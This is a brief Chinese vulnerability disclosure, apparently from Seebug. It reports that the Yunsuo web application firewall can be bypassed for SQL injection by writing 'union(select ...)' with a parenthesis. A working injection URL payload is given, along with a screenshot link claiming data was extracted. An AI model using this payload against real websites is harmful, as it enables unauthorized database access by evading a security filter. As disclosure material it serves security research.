### 简要描述:
绕过云锁进行SQL注入
### 详细说明:
EXP:
1.php?id=-1 union(select 1,2,3,@@datadir,5,6,7,8,9,10,11,12,13,14,15,16,17)
在union和select中间加个(就绕过了。
看图:
[<img src="https://images.seebug.org/upload/201505/0816300390a42f7d48247e7a289cbbb0c249a7c6.png" alt="d1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/0816300390a42f7d48247e7a289cbbb0c249a7c6.png)
成功注射出数据了。
### 漏洞证明:
暂无评论